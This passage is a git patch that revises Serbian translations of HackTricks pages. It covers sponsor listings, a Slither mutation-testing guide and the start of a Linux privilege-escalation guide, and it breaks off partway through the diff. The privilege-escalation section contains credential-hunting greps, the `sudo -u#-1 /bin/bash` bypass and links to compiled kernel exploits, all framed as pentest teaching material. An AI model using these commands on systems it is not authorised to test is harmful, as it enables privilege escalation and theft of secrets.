From a7a9893eff2b91e4d26a3a7238a8b2686fe1df52 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 12:18:08 +0000 Subject: [PATCH] Translated ['', 'src/blockchain/smart-contract-security/mutation-testing --- src/README.md | 76 +-- src/SUMMARY.md | 2 +- .../mutation-testing-with-slither.md | 90 +-- .../privilege-escalation/README.md | 598 +++++++++--------- .../socket-command-injection.md | 26 +- ...ry-untrusted-search-path-cve-2025-41244.md | 110 ++-- .../pentesting-web/ruby-tricks.md | 116 +++- .../pentesting-web/vmware-esx-vcenter....md | 6 +- src/pentesting-web/file-inclusion/README.md | 314 ++++----- src/pentesting-web/race-condition.md | 156 ++--- src/welcome/hacktricks-values-and-faq.md | 136 ++-- theme/ai.js | 1 + theme/ht_searcher.js | 9 +- 13 files changed, 861 insertions(+), 779 deletions(-) diff --git a/src/README.md b/src/README.md index d1f4a7d95..152ca62d0 100644 --- a/src/README.md +++ b/src/README.md @@ -4,7 +4,7 @@ _Hacktricks logotipi i motion dizajn od_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._ -### Pokretanje HackTricks lokalno +### Pokrenite HackTricks lokalno ```bash # Download latest version of hacktricks git clone https://github.com/HackTricks-wiki/hacktricks @@ -31,15 +31,15 @@ export LANG="master" # Leave master for english # Run the docker container indicating the path to the hacktricks folder docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0" ``` -Your local copy of HackTricks will be **available at [http://localhost:3337](http://localhost:3337)** after <5 minutes (it needs to build the book, be patient). +Vaša lokalna kopija HackTricks biće **available at [http://localhost:3337](http://localhost:3337)** za manje od 5 minuta (potrebno je da se knjiga izgradi, budite strpljivi). -## Corporate Sponsors +## Korporativni sponzori ### [STM Cyber](https://www.stmcyber.com)
-[**STM Cyber**](https://www.stmcyber.com) je odlična kompanija za sajber bezbednost čiji je slogan **HACK THE UNHACKABLE**. Oni sprovode sopstvena istraživanja i razvijaju svoje hacking alate kako bi **ponudili nekoliko vrednih usluga sajber bezbednosti** kao što su pentesting, Red teams i obuke. +[**STM Cyber**](https://www.stmcyber.com) je odlična kompanija za sajber bezbednost čiji je slogan **HACK THE UNHACKABLE**. Oni sprovode sopstvena istraživanja i razvijaju sopstvene hacking alate kako bi **ponudili nekoliko vrednih usluga sajber bezbednosti** kao što su pentesting, Red teams i obuka. Možete pogledati njihov **blog** na [**https://blog.stmcyber.com**](https://blog.stmcyber.com) @@ -51,7 +51,7 @@ Možete pogledati njihov **blog** na [**https://blog.stmcyber.com**](https://blo
-[**RootedCON**](https://www.rootedcon.com) je najrelevantniji događaj za sajber bezbednost u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres predstavlja vrelu tačku susreta za profesionalce iz tehnologije i sajber bezbednosti u svim disciplinama. +[**RootedCON**](https://www.rootedcon.com) je najrelevantniji događaj iz oblasti sajber bezbednosti u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vreli susret za profesionalce iz tehnologije i sajber bezbednosti u svim disciplinama. {{#ref}} https://www.rootedcon.com/ @@ -63,9 +63,9 @@ https://www.rootedcon.com/
-**Intigriti** je **Europe's #1** ethical hacking i **bug bounty platform.** +**Intigriti** je vodeća platforma za ethical hacking i bug bounty u Evropi. -**Bug bounty tip**: **registrujte se** na **Intigriti**, premium **bug bounty platformu kreiranu od strane hackera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) već danas i počnite da zarađujete nagrade do **$100,000**! +**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas i počnite zarađivati nagrade do **$100,000**! {{#ref}} https://go.intigriti.com/hacktricks @@ -78,7 +78,7 @@ https://go.intigriti.com/hacktricks
\ -Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da lako gradite i **automatizujete workflows** pokretane najnaprednijim alatima zajednice. +Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da lako gradite i **automatizujete workflows** pokretane najnaprednijim alatima iz zajednice. Get Access Today: @@ -92,13 +92,13 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
-Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server da komunicirate sa iskusnim hackerima i bug bounty lovcima! +Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! -- **Hacking Insights:** Angažujte se sa sadržajem koji ulazi u uzbuđenje i izazove hacking-a -- **Real-Time Hack News:** Budite u toku sa brzim vestima iz sveta hack-a i uvidima u realnom vremenu -- **Latest Announcements:** Ostanite informisani o najnovijim bug bounty pokretanjima i važnim ažuriranjima platforme +- **Hacking Insights:** Engage with content that delves into the thrill and challenges of hacking +- **Real-Time Hack News:** Keep up-to-date with fast-paced hacking world through real-time news and insights +- **Latest Announcements:** Stay informed with the newest bug bounties launching and crucial platform updates -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hackerima već danas! +**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! --- @@ -108,7 +108,7 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server da **Get a hacker's perspective on your web apps, network, and cloud** -**Find and report critical, exploitable vulnerabilities with real business impact.** Koristite naših 20+ prilagođenih alata da mapirate attack surface, pronađete sigurnosne probleme koji omogućavaju eskalaciju privilegija, i koristite automatizovane exploite da prikupite ključne dokaze, pretvarajući vaš rad u ubedljive izveštaje. +**Find and report critical, exploitable vulnerabilities with real business impact.** Koristite naših 20+ prilagođenih alata da mapirate the attack surface, pronađete sigurnosne probleme koji omogućavaju eskalaciju privilegija, i koristite automated exploits da prikupite ključne dokaze, pretvarajući vaš naporan rad u ubedljive izveštaje. {{#ref}} https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons @@ -120,12 +120,12 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
-**SerpApi** nudi brze i jednostavne real-time API-je za **access search engine results**. Oni skrejpu search engine-e, rešavaju proxy probleme, rešavaju captche, i parsiraju sve bogate strukturirane podatke za vas. +**SerpApi** nudi brze i jednostavne real-time APIs za pristup rezultatima pretrage. Oni scrape-uju pretraživače, upravljaju proxy-ima, rešavaju captchas, i parsiraju sve bogate strukturirane podatke za vas. -Pretplata na jedan od SerpApi planova uključuje pristup više od 50 različitih API-ja za skrejpovanje različitih search engine-a, uključujući Google, Bing, Baidu, Yahoo, Yandex i druge.\ -Za razliku od drugih provajdera, **SerpApi ne skrepuje samo organic rezultate**. SerpApi odgovori dosledno uključuju sve oglase, inline slike i video, knowledge graphs i druge elemente i funkcije prisutne u rezultatima pretrage. +Pretplata na jedan od SerpApi planova uključuje pristup više od 50 različitih API-ja za scraping različitih pretraživača, uključujući Google, Bing, Baidu, Yahoo, Yandex i druge.\ +Za razliku od drugih provajdera, **SerpApi ne samo da skrepuje organic results**. Odgovori SerpApi-a dosledno uključuju sve oglase, inline slike i video zapise, knowledge graphs i ostale elemente i funkcije prisutne u rezultatima pretrage. -Trenutni SerpApi korisnici uključuju **Apple, Shopify, and GrubHub**.\ +Među trenutnim SerpApi korisnicima su **Apple, Shopify, i GrubHub**.\ Za više informacija pogledajte njihov [**blog**](https://serpapi.com/blog/)**,** ili isprobajte primer u njihovom [**playground**](https://serpapi.com/playground)**.**\ Možete **kreirati besplatan nalog** [**ovde**](https://serpapi.com/users/sign_up)**.** @@ -135,7 +135,7 @@ Možete **kreirati besplatan nalog** [**ovde**](https://serpapi.com/users/sign_u
-Naučite tehnologije i veštine potrebne za izvođenje vulnerability research, penetration testing i reverse engineering-a kako biste štitili mobilne aplikacije i uređaje. **Usavršite iOS i Android security** kroz naše on-demand kurseve i **osvojite sertifikat**: +Naučite tehnologije i veštine potrebne za izvođenje vulnerability research, penetration testing, i reverse engineering kako biste zaštitili mobilne aplikacije i uređaje. **Savladajte iOS i Android security** kroz naše on-demand kurseve i **dobijte sertifikat**: {{#ref}} https://academy.8ksec.io/ @@ -147,13 +147,13 @@ https://academy.8ksec.io/
-[**WebSec**](https://websec.net) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže u **zaštiti** preduzeća ** širom sveta** protiv najnovijih prijetnji pružajući **offensive-security services** sa **modernim** pristupom. +[**WebSec**](https://websec.net) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže u **zaštiti** biznisa **široko po svetu** od najnovijih sajber pretnji pružajući **offensive-security services** sa **modernim** pristupom. -WebSec je internacionalna security kompanija sa kancelarijama u Amsterdamu i Wyoming-u. Nude **all-in-one security services** što znači da rade sve; Pentesting, **Security** Audite, Awareness Trainings, Phishing Campaigns, Code Review, Exploit Development, Security Experts Outsourcing i mnogo više. +WebSec je internacionalna security kompanija sa kancelarijama u Amsterdamu i Wyoming-u. Oni nude **all-in-one security services** što znači da rade sve; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing i mnogo više. -Još jedna dobra stvar kod WebSec-a je što, za razliku od proseka u industriji, WebSec je **veoma siguran u svoje veštine**, do te mere da **garantuju najbolje rezultate**, kako stoji na njihovom sajtu "**If we can't hack it, You don't pay it!**". Za više informacija pogledajte njihov [**website**](https://websec.net/en/) i [**blog**](https://websec.net/blog/)! +Još jedna sjajna stvar u vezi sa WebSec je da, za razliku od proseka u industriji, WebSec je **veoma samouveren u svoje veštine**, do te mere da **garantuju najbolje rezultate**, kako stoji na njihovom sajtu "**If we can't hack it, You don't pay it!**". Za više informacija pogledajte njihov [**website**](https://websec.net/en/) i [**blog**](https://websec.net/blog/)! -Pored navedenog, WebSec je takođe **posvećeni podržavalac HackTricks-a.** +Pored svega navedenog, WebSec je takođe **posvećeni podržavalac HackTricks.** {{#ref}} https://www.youtube.com/watch?v=Zq2JycGDCPM @@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
venacus logo
-[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) je search engine za data breach (leak). \ +[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) je data breach (leak) search engine. \ Pružamo random string search (kao google) preko svih tipova data leaks velikih i malih --ne samo velikih-- preko podataka iz više izvora. \ People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, sve funkcije koje pentester treba.\ -**HackTricks nastavlja da bude sjajna learning platforma za sve nas i ponosni smo što je sponzorišemo!** +**HackTricks i dalje predstavlja odličnu platformu za učenje za sve nas i ponosni smo što je sponzorišemo!** {{#ref}} https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons @@ -182,12 +182,12 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons **Built for the field. Built around you.**\ -[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) razvija i isporučuje efektivne cybersecurity treninge koje vode i kreiraju eksperti iz industrije. Njihovi programi idu dalje od teorije kako bi opremili timove dubokim razumevanjem i praktičnim veštinama, koristeći prilagođena okruženja koja odražavaju stvarne pretnje. -Za upite o custom treninzima, obratite nam se [**ovde**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks). +[**Cyber Helmets**](https://cyberhelmets.com/courses/?ref=hacktricks) razvija i isporučuje efikasnu cybersecurity obuku kreiranu i vođenu od strane stručnjaka iz industrije. Njihovi programi idu dalje od teorije kako bi opremili timove dubokim razumevanjem i primenljivim veštinama, koristeći prilagođena okruženja koja odražavaju realne pretnje. +Za upite o prilagođenim treninzima, kontaktirajte nas [**ovde**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks). -**Šta izdvaja njihove treninge:** -* Custom-built content i labovi -* Podržano od strane vrhunskih alata i platformi +**Šta izdvaja njihovu obuku:** +* Prilagođen sadržaj i laboratorije +* Podržano vrhunskim alatima i platformama * Dizajnirano i predavano od strane praktičara {{#ref}} @@ -203,11 +203,11 @@ https://cyberhelmets.com/courses/?ref=hacktricks Last Tower Solutions pruža specijalizovane usluge sajber bezbednosti za **Education** i **FinTech** institucije, sa fokusom na **penetration testing, cloud security assessments**, i **compliance readiness** (SOC 2, PCI-DSS, NIST). Naš tim uključuje **OSCP and CISSP -sertifikovane profesionalce**, donoseći duboku tehničku ekspertizu i industrijski utemeljene uvide u -svaki angažman. +certified professionals**, koji donose duboku tehničku ekspertizu i uvid u industrijske standarde u +svakom angažmanu. -Mi prelazimo preko automatizovanih skeniranja sa **manual, intelligence-driven testing** prilagođenim -okruženjima visokog rizika. Od zaštite studentskih podataka do zaštite finansijskih transakcija, +Mi idemo dalje od automatizovanih skeniranja sa **manual, intelligence-driven testing** prilagođenim +za okruženja visokog rizika. Od zaštite studentskih podataka do očuvanja finansijskih transakcija, pomažemo organizacijama da brane ono što je najvažnije. _“A quality defense requires knowing the offense, we provide security through understanding.”_ @@ -222,11 +222,11 @@ https://www.lasttowersolutions.com/ ### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/) -
k8studio logo
+
k8studio logo
-K8Studio IDE omogućava DevOps, DevSecOps i developerima da upravljaju, nadgledaju i štite Kubernetes clustere efikasno. Iskoristite naše AI-driven uvide, napredni security framework i intuitivni CloudMaps GUI da vizualizujete svoje clustere, razumete njihov status i delujete sa poverenjem. +K8Studio IDE omogućava DevOps, DevSecOps i developerima da efikasno upravljaju, nadgledaju i osiguraju Kubernetes klastere. Iskoristite naše AI-driven uvide, napredni security framework i intuitivni CloudMaps GUI da vizualizujete vaše klastere, razumete njihovo stanje i delujete sa samopouzdanjem. -Štaviše, K8Studio je **compatible with all major kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more). +Pored toga, K8Studio je **kompatibilan sa svim glavnim kubernetes distribucijama** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift i više). {{#ref}} https://k8studio.io/ @@ -237,7 +237,7 @@ https://k8studio.io/ ## License & Disclaimer -Check them in: +Proverite ih u: {{#ref}} welcome/hacktricks-values-and-faq.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 6d276923d..561fe52fb 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -950,4 +950,4 @@ - [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md) - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) -- [Cookies Policy](todo/cookies-policy.md) \ No newline at end of file +- [Cookies Policy](todo/cookies-policy.md) diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md index bbcf918db..b89674a66 100644 --- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md +++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -Mutation testing "tests your tests" tako što sistematski uvodi male promene (mutants) u vaš Solidity код и поново покреће ваш test suite. Ако тест не успе, mutant је killed. Ако тестови и даље пролазе, mutant преживи, откривајући слепу тачку у вашем test suite коју line/branch coverage не може да детектује. +Mutation testing "tests your tests" tako što sistematski uvodi male promene (mutante) u vaš Solidity kod i ponovo pokreće vaš skup testova. Ako test padne, mutant se smatra ubijenim. Ako testovi i dalje prolaze, mutant preživi, otkrivajući slepu tačku u vašem skupu testova koju linijsko/gransko pokriće ne može detektovati. -Key idea: Coverage показује да је код извршен; mutation testing показује да ли је понашање заиста потврђено. +Ključna ideja: pokriće pokazuje da je kod izvršen; mutation testing pokazuje da li je ponašanje zaista provereno. -## Zašto coverage може зaварaти +## Zašto pokriće može zavarati -Размотрите ову једноставну проверу прага: +Razmotrite ovu jednostavnu proveru praga: ```solidity function verifyMinimumDeposit(uint256 deposit) public returns (bool) { if (deposit >= 1 ether) { @@ -18,94 +18,94 @@ return false; } } ``` -Jedinični testovi koji proveravaju samo vrednost ispod i vrednost iznad praga mogu dostići 100% pokrivenost linija/grana, a ipak ne potvrditi granicu jednakosti (==). Refaktorisanje u `deposit >= 2 ether` i dalje bi prošlo takve testove, neprimetno narušivši logiku protokola. +Jedinični testovi koji proveravaju samo vrednost ispod i vrednost iznad praga mogu dostići 100% line/branch coverage, a da ne asertuju granicu jednakosti (==). Refaktor u `deposit >= 2 ether` bi i dalje prošao takve testove, tiho kvareći logiku protokola. -Mutaciono testiranje otkriva ovaj nedostatak mutiranjem uslova i proverom da li testovi zakažu. +Mutation testing otkriva ovaj prazninu mutiranjem uslova i proverom da li vaši testovi zakažu. -## Uobičajeni mutacioni operatori za Solidity +## Common Solidity mutation operators -Slither-ov mehanizam za mutacije primenjuje mnoge male izmene koje menjaju semantiku, kao što su: -- Zamena operatora: `+` ↔ `-`, `*` ↔ `/`, etc. +Slither’s mutation engine primenjuje mnogo malih izmena koje menjaju semantiku, kao što su: +- Zamena operatora: `+` ↔ `-`, `*` ↔ `/`, itd. - Zamena dodele: `+=` → `=`, `-=` → `=` -- Zamena konstanti: nenulta → `0`, `true` ↔ `false` -- Negacija/zamena uslova unutar `if`/petlji +- Zamena konstanti: non-zero → `0`, `true` ↔ `false` +- Negacija/izmena uslova unutar `if`/petlji - Zakomentarisati cele linije (CR: Comment Replacement) - Zameniti liniju sa `revert()` -- Zamena tipova podataka: npr. `int128` → `int64` +- Zamene tipova podataka: npr. `int128` → `int64` -Cilj: eliminisati 100% generisanih mutanata, ili opravdati preživele jasnim obrazloženjem. +Cilj: Ugasiti 100% generisanih mutanata, ili opravdati preživele jasnim obrazloženjem. -## Pokretanje mutacionog testiranja sa slither-mutate +## Running mutation testing with slither-mutate Zahtevi: Slither v0.10.2+. -- Prikaži opcije i mutatore: +- List options and mutators: ```bash slither-mutate --help slither-mutate --list-mutators ``` -- Foundry primer (zabeleži rezultate i vodi kompletan log): +- Foundry example (uhvati rezultate i sačuvaj kompletan log): ```bash slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results) ``` - Ako ne koristite Foundry, zamenite `--test-cmd` načinom na koji pokrećete testove (npr. `npx hardhat test`, `npm test`). -Artefakti i izveštaji se podrazumevano čuvaju u `./mutation_campaign`. Neotkriveni (preživeli) mutanti se tamo kopiraju radi inspekcije. +Artefakti i izveštaji se podrazumevano čuvaju u `./mutation_campaign`. Neotkriveni (preživeli) mutanti se kopiraju tamo radi inspekcije. -### Razumevanje izlaza +### Understanding the output -Linije izveštaja izgledaju ovako: +Redovi izveštaja izgledaju ovako: ```text INFO:Slither-Mutate:Mutating contract ContractName INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT ``` -- Oznaka u uglastim zagradama je alias mutatora (npr., `CR` = Comment Replacement). +- Oznaka u uglastim zagradama je alias mutatora (npr. `CR` = Comment Replacement). - `UNCAUGHT` znači da su testovi prošli pod mutiranim ponašanjem → nedostaje asercija. -## Smanjivanje vremena izvršavanja: prioritizujte mutante sa najvećim uticajem +## Reducing runtime: prioritize impactful mutants -Kampanje mutacije mogu trajati satima ili danima. Saveti za smanjenje troškova: -- Opseg: Počnite samo sa kritičnim ugovorima/direktorijumima, pa zatim proširite. -- Prioritetizujte mutatore: Ako mutant visokog prioriteta na liniji preživi (npr., cela linija je zakomentarisana), možete preskočiti varijante nižeg prioriteta za tu liniju. -- Paralelizujte testove ako vaš runner to omogućava; keširajte zavisnosti i build-ove. -- Fail-fast: zaustavite se rano kada promena jasno demonstrira prazninu u asercijama. +Mutation kampanje mogu trajati satima ili danima. Saveti za smanjenje troškova: +- Scope: Počnite sa kritičnim contracts/directories samo, pa proširite. +- Prioritize mutators: Ako mutant visokog prioriteta na liniji preživi (npr. cela linija zakomentarisana), možete preskočiti varijante nižeg prioriteta za tu liniju. +- Paralelizujte testove ako vaš runner to dozvoljava; cache-ujte dependencies/builds. +- Fail-fast: zaustavite rano kada promena jasno demonstrira prazninu u asercijama. -## Radni tok trijaže za mutante koji prežive +## Triage workflow for surviving mutants -1) Pregledajte mutiranu liniju i ponašanje. +1) Inspect the mutated line and behavior. - Reproducirajte lokalno primenom mutirane linije i pokretanjem fokusiranog testa. -2) Ojačajte testove tako da proveravaju stanje, a ne samo povratne vrednosti. -- Dodajte provere granica jednakosti (npr., test threshold `==`). -- Proverite post-uslove: bilansi, total supply, efekti autorizacije i emitovani događaji. +2) Strengthen tests to assert state, not only return values. +- Dodajte provere granica jednakosti (npr. test threshold `==`). +- Asertujte post-uslove: balances, total supply, efekte autorizacije i emitovane događaje. -3) Zamenite previše permisivne mock-ove realističnim ponašanjem. -- Osigurajte da mock-ovi nameću transfere, puteve greške i emitovanje događaja koji se dešavaju on-chain. +3) Replace overly permissive mocks with realistic behavior. +- Osigurajte da mocks forsiraju transfers, failure paths i event emissions koji se dešavaju on-chain. -4) Dodajte invarijante za fuzz testove. -- Npr., očuvanje vrednosti, nenegativni saldi, invarijante autorizacije, monotonost supply-a gde je primenljivo. +4) Add invariants for fuzz tests. +- Npr. očuvanje vrednosti, nenegativni balances, invarianti autorizacije, monotonic supply gde je primenjivo. -5) Ponovo pokrenite slither-mutate dok preživeli ne budu uklonjeni ili dok se eksplicitno ne opravdaju. +5) Re-run slither-mutate until survivors are killed or explicitly justified. -## Studija slučaja: otkrivanje nedostajućih asercija stanja (Arkis protocol) +## Case study: revealing missing state assertions (Arkis protocol) -Kampanja mutacije tokom audita Arkis DeFi protocola je identifikovala preživele, kao što su: +A mutation campaign during an audit of the Arkis DeFi protocol surfaced survivors like: ```text INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT ``` -Komentarisanje dodele nije pokvarilo testove, što ukazuje na nedostatak post-state assertions. Osnovni uzrok: kod je verovao korisnički kontrolisanom `_cmd.value` umesto da verifikuje stvarne transfere tokena. Napadač bi mogao desinhronizovati očekivane i stvarne transfere kako bi isisao sredstva. Posledica: visok rizik po solventnost protokola. +Komentarisanje dodele nije prekinulo testove, što ukazuje na nedostatak asercija stanja nakon izvršenja. Osnovni uzrok: kod je verovao korisnički kontrolisanom `_cmd.value` umesto da proveri stvarne transfere tokena. Napadač bi mogao desinhronizovati očekivane i stvarne transfere da isprazni sredstva. Rezultat: visok stepen rizika po solventnost protokola. -Smernice: Smatrajte survivors koji utiču na value transfers, accounting, ili access control visokorizičnim dok nisu killed. +Smernica: tretirajte preostale mutante koji utiču na transfere vrednosti, računovodstvo ili kontrolu pristupa kao visokorizične dok se ne uklone. ## Praktična kontrolna lista - Pokrenite ciljanu kampanju: - `slither-mutate ./src/contracts --test-cmd="forge test"` -- Razvrstajte survivors i napišite testove/invarijante koje bi pale pri mutiranom ponašanju. -- Proverite balances, supply, authorizations i events. -- Dodajte boundary testove (`==`, overflows/underflows, zero-address, zero-amount, empty arrays). -- Zamenite nerealne mocks; simulirajte failure modes. -- Iterirajte dok svi mutants ne budu killed ili opravdani komentarima i objašnjenjem. +- Razvrstajte preostale mutante i napišite testove/invarijante koji bi pali pod izmenjenim ponašanjem. +- Potvrdite bilanse, ukupnu ponudu, autorizacije i događaje. +- Dodajte granične testove (`==`, overflows/underflows, zero-address, zero-amount, empty arrays). +- Zamenite nerealne mock-ove; simulirajte režime otkaza. +- Iterirajte dok svi mutanti nisu uklonjeni ili opravdani komentarima i obrazloženjem. ## References diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 901189bde..552edc3c9 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,38 +4,38 @@ ## Informacije o sistemu -### OS informacije +### Informacije o OS-u -Počnimo da prikupljamo informacije o pokrenutom OS-u. +Počnimo sa prikupljanjem osnovnih informacija o pokrenutom OS-u ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### Putanja -Ako **imate write permissions na bilo koji folder unutar `PATH`** varijable, možda ćete moći da hijack-ujete neke biblioteke ili binarije: +Ako **imate dozvole za pisanje u bilo kojem direktorijumu unutar promenljive `PATH`**, možda ćete moći da hijack-ujete neke biblioteke ili binarne fajlove: ```bash echo $PATH ``` -### Info o environment variables +### Informacije o okruženju -Ima li u environment variables zanimljivih informacija, lozinki ili API keys? +Zanimljive informacije, lozinke ili API ključevi u promenljivama okruženja? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Proverite kernel verziju i da li postoji neki exploit koji se može iskoristiti za escalate privileges +Proverite verziju kernela i da li postoji exploit koji se može iskoristiti za eskalaciju privilegija. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Možete pronaći dobar spisak ranjivih kernel verzija i neke već **compiled exploits** ovde: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Drugi sajtovi gde možete naći neke **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Možete pronaći dobar spisak ranjivih verzija kernela i neke već **compiled exploits** ovde: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Drugi sajtovi na kojima možete pronaći neke **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Da izvučete sve ranjive kernel verzije sa tog sajta možete uraditi: +Da biste izvukli sve ranjive verzije kernela sa te web stranice možete uraditi: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -43,9 +43,9 @@ Alati koji mogu pomoći pri pretrazi kernel exploits su: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (pokrenuti na žrtvi, proverava samo exploits za kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (izvršiti NA victim-u, proverava samo exploits za kernel 2.x) -Uvek **pretražite verziju kernela na Google-u**, možda je vaša verzija kernela navedena u nekom kernel exploit-u i tako ćete biti sigurni da je exploit validan. +Uvek **pretražite verziju kernela na Google-u**, možda je vaša verzija kernela navedena u nekom kernel exploit-u i tako ćete biti sigurni da je taj exploit validan. ### CVE-2016-5195 (DirtyCow) @@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo verzija -Na osnovu ranjivih sudo verzija koje se pojavljuju u: +Na osnovu ranjivih verzija sudo koje se pojavljuju u: ```bash searchsploit sudo ``` @@ -73,20 +73,20 @@ Od @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg: verifikacija potpisa nije uspela +### Dmesg: potvrda potpisa nije uspela -Pogledaj **smasher2 box of HTB** za **primer** kako se ovaj vuln može iskoristiti +Pogledajte **smasher2 box of HTB** za **primer** kako bi se ova vuln mogla iskoristiti ```bash dmesg 2>/dev/null | grep "signature" ``` -### Više sistemske enumeracije +### Detaljnija enumeracija sistema ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Enumeriši moguće odbrane +## Navedi moguće odbrane ### AppArmor ```bash @@ -123,15 +123,16 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Ako se nalazite unutar docker container, možete pokušati da iz njega pobegnete: +Ako ste unutar docker container-a, možete pokušati da escape-ujete iz njega: + {{#ref}} docker-security/ {{#endref}} -## Diskovi +## Pogoni -Proverite **šta je montirano, a šta nije**, gde i zašto. Ako nešto nije montirano, pokušajte da ga montirate i proverite ima li privatnih informacija. +Proverite **šta je mounted i šta je unmounted**, gde i zašto. Ako je nešto unmounted, možete pokušati da ga mount-ujete i proverite za privatne informacije ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,25 +141,25 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Korisni softver -Nabroj korisne binarne fajlove +Navedite korisne binarne datoteke ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php 